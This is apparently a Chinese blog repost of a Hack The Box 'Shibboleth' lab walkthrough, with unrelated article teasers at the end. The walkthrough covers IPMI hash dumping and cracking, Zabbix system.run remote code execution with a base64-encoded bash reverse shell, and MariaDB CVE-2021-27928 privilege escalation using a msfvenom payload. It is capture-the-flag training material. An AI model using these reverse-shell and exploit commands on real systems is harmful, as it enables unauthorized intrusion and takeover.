【Hack The Box】Linux练习-- Shibboleth

news2024/11/27 18:27:14

HTB 学习笔记

【Hack The Box】Linux练习-- Shibboleth


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
        • 域名爆破
    • shibboleth.htb - TCP 80
    • zabbix/monitor/monitoring.shibboleth.htb - TCP 80
    • IPMI
        • 获取版本
        • IPMI 2
    • 破解密码
        • 密码复用
    • CVE-2021-27928

在这里插入图片描述

信息收集

80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://shibboleth.htb/
Service Info: Host: shibboleth.htb

shibboleth.htb

域名爆破

wfuzz -u http://shibboleth.htb -H "Host: FUZZ.shibboleth.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 

在这里插入图片描述因为可以看到word一列均为26,所以我们添加–hw 26

wfuzz -u http://shibboleth.htb -H "Host: FUZZ.shibboleth.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 26

得到如下并添加到hosts

shibboleth.htb 
monitor.shibboleth.htb 
monitoring.shibboleth.htb 
zabbix.shibboleth.htb

shibboleth.htb - TCP 80

全都是垃圾文本,页面底部有一些信息
© Copyright FlexStart. All Rights Reserved
Powered by enterprise monitoring solutions based on Zabbix & Bare Metal BMC automation
页面底部有这个个信息
FlexStart是个cms还是个啥
Bare Metal BMC automation是一个类似于工控的一个监控的东西

目录爆破啥都没有

zabbix/monitor/monitoring.shibboleth.htb - TCP 80

在这里插入图片描述
一个zabbix登陆界面
也没有默认凭据,也没有注册,也没有子目录

IPMI

谷歌搜索“Bare Metal BMC automation”

https://deploy.equinix.com/blog/redfish-and-the-future-of-bare-metal-server-automation/

这篇文章讲到了
最常见的平台是 IPMI 。 目前在 2.0 版中,IPMI 允许通过以太网进行“带外”访问,以进行重新启动服务器、测量温度或风扇速度等操作,或者访问 IP-KVM 或 Serial-over-Lan 等服务器的接口。
而在hacktrick中讲到ipmi常常开启在udp623
我们扫一下udp623是否开启

nmap -sU -p 623 -sCV -A  shibboleth.htb

在这里插入图片描述那么就可以了
现在要获取版本

获取版本

use  auxiliary/scanner/ipmi/ipmi_version
set rhosts 10.129.19.82
run

在这里插入图片描述这是2.0

IPMI 2

IPMI 2 使用 RAKP 协议交换密钥,这具有巨大的安全风险,
IPMI 规范中的 RAKP 协议允许任何人使用 IPMI 命令获取可以离线破解的 HMAC IPMI 密码哈希。

两种方法。第一,利用msf

use auxiliary/scanner/ipmi/ipmi_dumphashes
set rhosts 10.129.19.82
run

在这里插入图片描述Administrator:58a4653f820100007b6b6939f06c9f1e6dbb7cc22269a495ae3d708bbc7b73e0230c1b876677bec2a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:67f9ffd760c9677ed2332400a2e0c36145f76be5

第二,利用脚本

https://github.com/c0rnf13ld/ipmiPwner
sudo python3 ipmipwner.py --host 10.10.11.124

但是这个生成出来的hash不一样
有可能我的理解有点问题
有懂的师傅可以指点一下

破解密码

/usr/bin/hashcat-6.2.6/hashcat.bin ipmi.hash /usr/share/wordlists/rockyou.txt --user

能自动识别
在这里插入图片描述得到凭据如下
Administrator/ilovepumkinpie1
在这里插入图片描述
主页显示一台主机已经登陆了一年多了

他是这个域名

shibboleth.htb

在这里插入图片描述但是我没有获得什么有用的信息
我接着找,在如下图的位置找到了一个创建主机的地方

在这里插入图片描述
并且在这里有一个项目的按钮,点击一下,然后再点击右上角的创建项目在这里插入图片描述
select发现system可以执行命令,并且有一条就是关于执行命令的,只不过那个命令还需要带一个模式参数,我不知道该选什么,于是就没选

在这里插入图片描述而后点击最下面的测试
再点击获取结果

在这里插入图片描述

可以了rce,反弹端口
当我在命令中输入

bash  -i >& /dev/tcp/10.10.14.6/443 0>&1

这种情况要么需要url编码,要么需要b64编码
不存在无法执行的情况,因为这是bash命令
所以我将进行url编码,而后进行b64编码进行尝试
最终发现b64编码可行

echo "bash  -i >& /dev/tcp/10.10.14.6/443 0>&1 " | base64
system.run[echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjkvNzc3NyAwPiYxIAo= | base64 -d | bash]

在这里插入图片描述
但是很快他就断了
我不清楚原因是什么
我采用的办法是在我获得shell的一瞬间,粘贴
bash -i >& /dev/tcp/10.10.14.29/8888 0>&1
到新的端口,而后来自网站的流量会断掉端口流量,而因为我们的二传已经将路径延伸出去了,所以网站只会断掉第二传的流量,而第一传保持完好

在这里插入图片描述只有一个ipmi-svc用户
在这里插入图片描述

密码复用

在这里插入图片描述端口无异常(存在本地3306)
sudo无异常
文件配置信息无异常
那么这样看来我就需要去mysql直接找到root用户凭据了
因为基本的枚举都没有什么问题,或者只能内核提权

要找到 MySQL 的凭据,我需要 Zabbix 配置文件。 它住在 /etc/zabbix

而且它很大,大部分行都是注释和默认值。 为了找到数据库信用,我将使用两个 grep命令,首先删除以 #, 然后删除空行:

cat zabbix_server.conf | grep -v "^#" | grep . 

或者也可以直接全部复制粘贴下来然后拿到本地搜索关键字

最终可以得到凭据:

DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh
而后登陆数据库

mysql -u zabbix -pbloooarskybluh
show databases;

在这里插入图片描述
但是我没有找到任何的有用的凭据
但是在我链接数据库的时候
10.3.25 MariaDB
映入眼帘
在这里插入图片描述
如果我们搜索版本漏洞
引入眼帘的同样是
CVE-2021-27928
在这里插入图片描述按照一些方法,去执行

CVE-2021-27928

 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.29 LPORT=6666 -f elf-so -o rev.so
 wget 10.10.14.6/rev.so
 数据库执行
  SET GLOBAL wsrep_provider="/tmp/rev.so";

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/42152.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

3.8 如何在小红书上蹭热点,这里有8个方法【玩赚小红书】

在小红书究竟能不能蹭到热点?有哪些热点可以蹭?怎么蹭?是很多小红书运营者关心的问题。在我看下,小红书热点分为官方热点、事件热点和账号热点三类,用好这8个方法,让笔记获得更多流量。 ​ ​ 一、官方热点 官方热点是小红书推出&#x…

RocketMQ 消费端如何监听消息?

前言 RocketMQ消息消费者是如何启动的,有一个步骤是非常重要的,就是启动消息的监听,通过不断的拉取消息,来实现消息的监听, 那具体怎么做,让我们我们跟着源码来学习一下~ 流程地图 源码跟踪 这一块的代…

ipv6地址概述——配置ipv6

个人简介:云计算网络运维专业人员,了解运维知识,掌握TCP/IP协议,每天分享网络运维知识与技能。个人爱好: 编程,打篮球,计算机知识个人名言:海不辞水,故能成其大;山不辞石…

加拿大留学一定要善用这八个服务系统

加拿大留学之所以如此受大家欢迎,主要也是由于其优质的教育、易移民等优势,而对于学生本人来说,满意的学习体验,也是留学生涯中不可缺少的重要一环。 加拿大大学都拥有成熟完善的学生服务系统,帮助学生们更好的学习、…

Code learning tools

这里写目录标题1. Code learning tools1.1. Chrome Sourcegraph plugin1.2. Print statements never go out of style1.3. When in doubt, PANIC1.4. Visit the past with GitHub blame1. Code learning tools I know what you are thinking. Brad, you are new to Kube and G…

有哪些电容笔值得推荐?值得买的电容笔测评

和苹果原装的电容笔不同,普通电容笔没有苹果电容笔的独特重力压感,只是给人一种倾斜的压感。不过,如果你对画画没有什么特别的需求,也不必买昂贵的Apple Pencil,平替电容笔就足够我们使用了。接下来,我会给…

全球133种语言自动翻译mishop大米外贸商城系统

提示:133种语言自动翻译,开源无加密。 文章目录介绍安装方法部分代码展示学习资料下载地址成品效果图片展示介绍 提示:这里可以添加本文要记录的大概内容: 大米外贸商城系统 简称mishop 完全开源版,只需做一种语言一…

JXcore 打包在企业级项目里的合理运用和模块系统以及网络的配置详解【node.js】

文章目录 JXcore 打包模块系统netJXcore 打包 node.Js是面向服务器端和网络应用程序的开源跨平台运行环境。 JXcore是一个支持多线程的节点。对于js发行版,您可以在多个线程中安全运行,而无需对现有代码进行任何更改。 安装命令如下: $ curl https://raw.githubusercontent.…

Java语言学习全笔记保姆级学习

目录 文章目录一、Java基础篇1.接口和抽象类的区别2.重载和重写的区别3.和equals的区别4.异常处理机制5.HashMap原理6.想要线程安全的HashMap怎么办?7.ConcurrentHashMap原如何保证的线程安全?8.HashTable与HashMap的区别9.ArrayList和LinkedList的区别1…

Tauri 入门教程

Tauri入门教程1 简介2 创建Tauri项目(页面基于Vue)2.1 环境准备2.2 创建工程3 Tauri 工程目录介绍4 页面调用rust方法5 事件系统6 HTTP请求7 文件系统8 对话框9 窗口配置10 打包1 简介 Tauri:构建跨平台的快速、安全、前端隔离应用。Tauri 是一个相对较新的框架,允…

Apollo 应用与源码分析:Monitor监控-硬件监控-CAN监控

目录 基本概念 CAN Card CAN - 原始套接字 ESD CAN 监控分析 Socket Can监控分析 基本概念 CAN Card 首先需要直到CAN的一些基本的概念。 CAN 是Controller Area Network 的缩写(以下称为CAN),是ISO国际标准化的串行通信协议。在汽车产…

Elastic Stack 环境配置与框架简介

目录 简介 什么是Elastic Stack Elasticasearch Logstash Kibana Beats 框架图 下载 配置 一、安装java环境 启动 Elasticsearch Kibana FileBeat Logstash 测验 简介 什么是Elastic Stack Elastic Stack缩写为elk,它由三个软件组成:E…

唯品会:高利润,慢增长?

配图来自Canva可画 近日,阿里、京东等互联网大厂纷纷发布了新一季度的财报,从其财报不难看出,国内头部电商平台已经告别了一路狂奔的时代,开始愈发稳健起来。唯品会虽然在体量和规模上都还不能和这两家巨头相比,但自其…

36、Java——吃货联盟订餐系统(JDBC+MySQL+Apache DBUtils)

✅作者简介:热爱国学的Java后端开发者,修心和技术同步精进。 🍎个人主页:Java Fans的博客 🍊个人信条:不迁怒,不贰过。小知识,大智慧。 💞当前专栏:Java案例分…

关于物联网你需要知道的一切

如果你想要一个更像 wiki (维基百科)的定义「什么是物联网?」,我们可以将其视为连接到 Internet 的全球对象网络,这些对象能够在没有人为干预的情况下,相互交互和交换数据。符合这一的一般定义的解决方案&a…

Java项目:基于jsp+sevlet+mysql日记系统

作者主页:源码空间站2022 简介:Java领域优质创作者、Java项目、学习资料、技术互助 文末获取源码 项目介绍 本项目主要功能有: 写日记 查看日记 日记删除 日记修改 日记类别添加 日记类别修改 日记类别删除 个人信息查看 个人信息修改 分页…

java刷题day 05

一. 单选题: 解析: 5 >> 2 相当于 5除于2两次,等于1>>> 表示无符号右移,高位用 0 填充,0001右移两位 0000,所以选A解析:作对这道题的关键是要理解Java的值传递,关于值…

婚纱租赁系统毕业设计,婚纱租赁管理系统设计与实现,论文毕设作品参考

功能清单 【后台管理员功能】 广告管理:设置小程序首页轮播图广告和链接 留言列表:所有用户留言信息列表,支持删除 会员列表:查看所有注册会员信息,支持删除 资讯分类:录入、修改、查看、删除资讯分类 录入…

【Milvus的以文搜图】

0. 介绍 以文搜图指的是,根据文本描述,从图像数据库中检索与文本内容相似的图像数据并返回。通过在CSDN中搜索以文搜图,找到了如下两篇文章: 从零到一,教你搭建「以文搜图」搜索服务(一)_Zill…

Linux “挂载” 的概念

0、前言 截至到写这个稿子,始终对挂载的概念有点模糊,到底是硬盘挂载到目录?还是目录挂载到硬盘呢?今天终于从《鸟哥的Linux私房菜》中推断出了答案,而且也恍然大悟地理解了之前书中一句晦涩难懂的话。 1、挂载的概念…